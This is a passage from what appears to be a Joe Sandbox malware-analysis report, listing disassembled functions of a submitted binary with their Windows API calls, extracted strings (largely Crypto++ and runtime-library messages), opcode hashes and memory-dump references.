                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ArgumentDecorator::getListNameName::Name::operator+Name::operator+=Replicator::operator[]
                                          • String ID: ,...$,<ellipsis>$...$<ellipsis>$void
                                          • API String ID: 834187326-2211150622
                                          • Opcode ID: ac178312d93c2de3535141236df5c7e60613964196d245cc83ab67b7a57f2580
                                          • Instruction ID: 464293afb1398367f9457d41865d837f2da6f6834026b2cbce01390baf1fc848
                                          • Opcode Fuzzy Hash: ac178312d93c2de3535141236df5c7e60613964196d245cc83ab67b7a57f2580
                                          • Instruction Fuzzy Hash: 19219DB06162049FCB64DF1CD895FA63BE8EB09348F504698E489CB3A2CF34ED41DB60
                                          Function 0090D030 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 54COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • UnDecorator::UScore.LIBVCRUNTIME ref: 0090D038
                                          • DName::DName.LIBVCRUNTIME ref: 0090D042
                                            • Part of subcall function 0090B998: DName::doPchar.LIBVCRUNTIME ref: 0090B9BF
                                          • UnDecorator::getScopedName.LIBVCRUNTIME ref: 0090D081
                                          • DName::operator+=.LIBVCRUNTIME ref: 0090D08B
                                          • DName::operator+=.LIBCMT ref: 0090D09A
                                          • DName::operator+=.LIBCMT ref: 0090D0A6
                                          • DName::operator+=.LIBCMT ref: 0090D0B3
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Name::operator+=$Name$Decorator::Decorator::getName::Name::doPcharScopedScore
                                          • String ID: void
                                          • API String ID: 1480779885-3531332078
                                          • Opcode ID: 09ae8b8672004b7be05e35a12e64969c56646bbc9109d14e317c68000b5fa367
                                          • Instruction ID: 168908e5167fa2b375aca760d5fd45db65179e357363ea4420fd3ac68e0953a3
                                          • Opcode Fuzzy Hash: 09ae8b8672004b7be05e35a12e64969c56646bbc9109d14e317c68000b5fa367
                                          • Instruction Fuzzy Hash: 13118471916204AFDB08FFA8C856FAEBBB4EF81714F444499E4469B2D2CB709A46CB50
                                          Function 008F0A60 Relevance: 13.6, APIs: 8, Strings: 1, Instructions: 124memoryCOMMON
                                          Download Yara Rule
                                          APIs
                                          • TlsGetValue.KERNEL32(FFFFFFFF,707A716D,?,?,?,?,?,00940CA8,000000FF), ref: 008F0A95
                                          • TlsSetValue.KERNEL32(FFFFFFFF,?), ref: 008F0AD9
                                          • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,00940CA8,000000FF), ref: 008F0AFF
                                          • HeapFree.KERNEL32(00000000,?,?,?,?,?,00940CA8,000000FF), ref: 008F0B06
                                          • GetProcessHeap.KERNEL32(00000000), ref: 008F0B40
                                          • HeapFree.KERNEL32(00000000), ref: 008F0B47
                                          • GetProcessHeap.KERNEL32(00000000,?), ref: 008F0B50
                                          • HeapFree.KERNEL32(00000000), ref: 008F0B57
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Heap$FreeProcess$Value
                                          • String ID: mqzp
                                          • API String ID: 3709577838-955126501
                                          • Opcode ID: 656c6d2d09aa600ab3772b11cc8cd8d222dd0478653f1f8f5c712824c65b66a1
                                          • Instruction ID: 09653a91178a0ac8e7d540815f9f353ac0c42d4698816a45e05ddbd6ad166c10
                                          • Opcode Fuzzy Hash: 656c6d2d09aa600ab3772b11cc8cd8d222dd0478653f1f8f5c712824c65b66a1
                                          • Instruction Fuzzy Hash: 0F417E75608308AFDB248FB9DC89F2AB7A8FF45725F144268EA15D7292D730EC00CB60
                                          Function 008FAD0E Relevance: 13.6, APIs: 9, Instructions: 106timeCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 008FAD30
                                            • Part of subcall function 008F90FA: __EH_prolog3_catch.LIBCMT ref: 008F9101
                                            • Part of subcall function 008F90FA: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 008F913A
                                          • Concurrency::details::SchedulerBase::NotifyThrottledContext.LIBCONCRT ref: 008FAD3E
                                            • Part of subcall function 008F9D57: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 008F9D7C
                                            • Part of subcall function 008F9D57: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 008F9D9F
                                          • Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 008FAD57
                                          • Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 008FAD63
                                            • Part of subcall function 008F90FA: InterlockedPopEntrySList.KERNEL32(?), ref: 008F9183
                                            • Part of subcall function 008F90FA: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 008F91B2
                                            • Part of subcall function 008F90FA: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 008F91C0
                                          • Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 008FADAF
                                          • Concurrency::location::_Assign.LIBCMT ref: 008FADD0
                                          • Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 008FADD8
                                          • Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 008FADEA
                                          • Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 008FAE1A
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Concurrency::details::$Base::$Scheduler$Context$Throttling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_EntryExerciseFoundH_prolog3_catchInterlockedListNextNotifyProcessor::RingSchedulingSpinStartupThrottledTicket::TimerUntilWith
                                          • String ID:
                                          • API String ID: 2678502038-0
                                          • Opcode ID: 91e249acf2a8a98fdaa4cae1e99f6355e05c8689449a918d2f3308a027f0289a
                                          • Instruction ID: 6fd5573743900be996dcb0148754b738bae61a05e14487f175adb0b37c57814a
                                          • Opcode Fuzzy Hash: 91e249acf2a8a98fdaa4cae1e99f6355e05c8689449a918d2f3308a027f0289a
                                          • Instruction Fuzzy Hash: 2E31F470B0425D6ACF5EBA7884927FE7BB9FF41314F04046AD64AD7242EB244D49C793
                                          Function 008A6D80 Relevance: 12.6, APIs: 3, Strings: 4, Instructions: 310COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008A6F23
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008A6F63
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008A7101
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8Throw
                                          • String ID: : invalid ciphertext$PK_DefaultDecryptionFilter: ciphertext too long$PK_DefaultEncryptionFilter: plaintext too long$mqzp
                                          • API String ID: 2005118841-2626275743
                                          • Opcode ID: 1d6e305dd8389141590361994b9738a4e3856f1e0a0de25b54a6242fd8e239a8
                                          • Instruction ID: e4816bb43c9483859211d3e2db5fcea1ea8441bdef589f898261d6d17f2cf680
                                          • Opcode Fuzzy Hash: 1d6e305dd8389141590361994b9738a4e3856f1e0a0de25b54a6242fd8e239a8
                                          • Instruction Fuzzy Hash: 55B19B71600709AFDB24DFA8C884FAABBF5FF48714F144A2CE556E7690EB31A914CB50
                                          Function 008F04D0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 128COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 008F07D0: SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00940B70,000000FF), ref: 008F08AC
                                            • Part of subcall function 008F0430: WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000,?,707A716D,mqzp,?,?,?,00000000,00000000,707A716D,707A716D), ref: 008F0475
                                          • SetEvent.KERNEL32(00000000), ref: 008F0589
                                          • ReleaseSemaphore.KERNEL32(00000000,?,00000000), ref: 008F059D
                                          • ReleaseSemaphore.KERNEL32(?,?,00000000), ref: 008F05C2
                                          • CloseHandle.KERNEL32(00000000,?,707A716D,707A716D,008EF444,?,707A716D), ref: 008F05F6
                                          • SetEvent.KERNEL32(00000000,?,707A716D,707A716D,008EF444,?,707A716D), ref: 008F0633
                                            • Part of subcall function 008650A0: CreateEventA.KERNEL32(?,?,?,?,707A716D,mqzpmqzp,?,008F0462,?,707A716D,mqzp,?,?,?,00000000,00000000), ref: 008650D4
                                            • Part of subcall function 008650A0: CloseHandle.KERNEL32(00000000,?,008F0462,?,707A716D,mqzp,?,?,?,00000000,00000000,707A716D,707A716D), ref: 008650EF
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Event$CloseHandleReleaseSemaphore$CreateObjectSingleWait
                                          • String ID: mqzp$mqzp
                                          • API String ID: 1436492870-1158555082
                                          • Opcode ID: e0f6177b91deef3e9a56a38922fc33282cb191c36e4efa010c8f3b5dbd353ee2
                                          • Instruction ID: 6464a63750d6e5a60e6849a70a155a0744e69db84119f0c025812c238f3b609a
                                          • Opcode Fuzzy Hash: e0f6177b91deef3e9a56a38922fc33282cb191c36e4efa010c8f3b5dbd353ee2
                                          • Instruction Fuzzy Hash: 54519B75A002099FCF10CF68C884B6ABBA4FB59324F1441A9EA14EB392D735ED11CFD1
                                          Function 0089C490 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 119COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • std::_Lockit::_Lockit.LIBCPMT ref: 0089C4C5
                                          • std::_Lockit::_Lockit.LIBCPMT ref: 0089C4E7
                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 0089C507
                                          • __Getcvt.LIBCPMT ref: 0089C5A0
                                          • std::_Facet_Register.LIBCPMT ref: 0089C5D7
                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 0089C5EF
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetcvtRegister
                                          • String ID: mqzp
                                          • API String ID: 3552396256-955126501
                                          • Opcode ID: 41be66fb7daad4ca19006880ad5c2bbe72c1c692dcd61bd7bd02ffb5bf509f74
                                          • Instruction ID: db313633187ca0cf664e012690a64b1e719cddd0708d0eed109cfd873e51faf2
                                          • Opcode Fuzzy Hash: 41be66fb7daad4ca19006880ad5c2bbe72c1c692dcd61bd7bd02ffb5bf509f74
                                          • Instruction Fuzzy Hash: FE41A0B1904619CFCF11EF68C851AAAB7B4FB14314F15825AE846EB352EB31FE41CB91
                                          Function 008FE8CA Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73threadCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 008FE90D
                                          • GetCurrentThread.KERNEL32 ref: 008FE917
                                          • Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 008FE923
                                            • Part of subcall function 008F37BF: Concurrency::details::platform::__GetThreadGroupAffinity.LIBCONCRT ref: 008F37D1
                                            • Part of subcall function 008F3C66: Concurrency::details::platform::__SetThreadGroupAffinity.LIBCONCRT ref: 008F3C6D
                                          • Concurrency::details::SchedulerProxy::IncrementCoreSubscription.LIBCONCRT ref: 008FE966
                                            • Part of subcall function 008FFDB6: SetEvent.KERNEL32(?,?,008FE96B,008FF6FF,00000000,?,00000000,008FF6FF,00000004,008FFDAB,?,00000000,?,?,00000000), ref: 008FFDFA
                                          • Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 008FE96F
                                            • Part of subcall function 008FF3E5: __EH_prolog3.LIBCMT ref: 008FF3EC
                                            • Part of subcall function 008FF3E5: List.LIBCONCRT ref: 008FF41B
                                          • Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 008FE97F
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Concurrency::details::$AffinityProxy::SchedulerThread$Concurrency::details::platform::__CoreCurrentExecutionGroupHardwareIncrement$Affinity::CountEventFixedH_prolog3ListResourceResource::Subscription
                                          • String ID: mqzp
                                          • API String ID: 701979363-955126501
                                          • Opcode ID: 5d66e4d8a81baedd32ef5b10e02e48b019ff51f399a167fcb5c7cbc3a71ccd59
                                          • Instruction ID: 2d3508b936c69c40bf86eeadf72f87b98d155ce776ddd45604ae22bc86cd8031
                                          • Opcode Fuzzy Hash: 5d66e4d8a81baedd32ef5b10e02e48b019ff51f399a167fcb5c7cbc3a71ccd59
                                          • Instruction Fuzzy Hash: 9E218C31500A189FCB24EF79C9908BAF3F5FF487007004A6DE642D7662DB74A909CBA2
                                          Function 00865240 Relevance: 12.1, APIs: 5, Strings: 3, Instructions: 85memoryCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetProcessHeap.KERNEL32(00000000,?,?,707A716D,00000000), ref: 008652A8
                                          • HeapFree.KERNEL32(00000000,?,707A716D,00000000), ref: 008652AF
                                          • CloseHandle.KERNEL32(?,707A716D,75566230,?,707A716D,00000000,00000000,00000000), ref: 008652D9
                                          • CloseHandle.KERNEL32(?,?,707A716D,00000000,00000000,00000000), ref: 008652DE
                                          • CloseHandle.KERNEL32(?,?,707A716D,00000000,00000000,00000000), ref: 008652E3
                                            • Part of subcall function 008EFC00: GetProcessHeap.KERNEL32(00000000,?,?,mqzp,0093EA90,000000FF,?,0086528A,707A716D,75566230), ref: 008EFC4B
                                            • Part of subcall function 008EFC00: HeapFree.KERNEL32(00000000,?,?,mqzp,0093EA90,000000FF,?,0086528A,707A716D,75566230), ref: 008EFC52
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Heap$CloseHandle$FreeProcess
                                          • String ID: 0bVu$mqzp$mqzp
                                          • API String ID: 3876841697-2906702325
                                          • Opcode ID: 3e017645c4a4a15526ec547add8a3a2f27dd548bdc24756a84bb3d757002604c
                                          • Instruction ID: 299e4035761d0e58e912788bc66ef433a779c60117eeffc2e284c5de664c4fbd
                                          • Opcode Fuzzy Hash: 3e017645c4a4a15526ec547add8a3a2f27dd548bdc24756a84bb3d757002604c
                                          • Instruction Fuzzy Hash: CF31A531A04614EBCF10DFA8DC90B1ABBB4FF09720F150269E914EB390D771AC04CB91
                                          Function 0091E95A Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 389COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: __freea$__alloca_probe_16
                                          • String ID: a/p$am/pm$mqzp
                                          • API String ID: 3509577899-2162033964
                                          • Opcode ID: e7c1af3a1a9d031418775504b8461c72432086ede110ddf55a2a1da1934220fc
                                          • Instruction ID: 162a5ac73d0881263197d91f6d19ddb31bd3bbe4b81d1537f15c2d869d11f6ae
                                          • Opcode Fuzzy Hash: e7c1af3a1a9d031418775504b8461c72432086ede110ddf55a2a1da1934220fc
                                          • Instruction Fuzzy Hash: ABD11239B0420ECADB289F68D845BFAB7B8FF45310F244159ED42AB294D3399DC0CB91
                                          Function 008AD0D0 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 161COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008AD198
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008AD258
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8Throw
                                          • String ID: AAD$AuthenticatedDecryptionFilter$AuthenticatedEncryptionFilter$mqzp
                                          • API String ID: 2005118841-149481287
                                          • Opcode ID: 28713bcd059f023b0b77dae59f2299ab849df07cbf4e0503a5d8da25270baa26
                                          • Instruction ID: ae2e485c95e5b74f143ed5743b2c1045ac0221aff40163cefc6a756cb1e93b1a
                                          • Opcode Fuzzy Hash: 28713bcd059f023b0b77dae59f2299ab849df07cbf4e0503a5d8da25270baa26
                                          • Instruction Fuzzy Hash: 8C518D72504308EFDB14DF94DC41FAEBBB8FB59720F000929F912A7A91DB71A914DBA1
                                          Function 008ACEF0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 134COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008ACF94
                                            • Part of subcall function 0090858E: RaiseException.KERNEL32(?,?,008D5B0C,?,?,Dflt,?,?,?,?,?,008D5B0C,?,009799E8,?), ref: 009085EE
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008AD047
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8Throw$ExceptionRaise
                                          • String ID: AAD$AuthenticatedDecryptionFilter$AuthenticatedEncryptionFilter$mqzp
                                          • API String ID: 3476068407-149481287
                                          • Opcode ID: 96463eafcd5f3b320bfc875a0a00a9c876373ec9ac01bcbc91403a64f7ee394d
                                          • Instruction ID: e99c82946e791c7f98b9b2f87ce58a3b598cb8ae923fb5a74f66f41a5e0d4e19
                                          • Opcode Fuzzy Hash: 96463eafcd5f3b320bfc875a0a00a9c876373ec9ac01bcbc91403a64f7ee394d
                                          • Instruction Fuzzy Hash: CE41B272604608EFCB14DF94CC81FAEB7B8FF45720F40456AF816A7681DB75A909CB90
                                          Function 00866620 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 129COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 00866690
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008666EE
                                          • ___std_exception_copy.LIBVCRUNTIME ref: 00866742
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8Throw$___std_exception_copy
                                          • String ID: CryptoMaterial: this object contains invalid values$CryptoMaterial: this object does not support precomputation$mqzp
                                          • API String ID: 4178755008-1541176823
                                          • Opcode ID: a160a819ad2f5a3853bdb2007df69e2a4ce07bf5b61724273f55faa5439876c9
                                          • Instruction ID: 49384ba18eb619169a280630f0f1513ad67dbaa0f6e80f31e263ac4dd548b185
                                          • Opcode Fuzzy Hash: a160a819ad2f5a3853bdb2007df69e2a4ce07bf5b61724273f55faa5439876c9
                                          • Instruction Fuzzy Hash: 25418E72914608EBCB00DF94D941F9AF7F8FB48710F50866AF825E7690EB75AA04CB50
                                          Function 009207BF Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 129COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
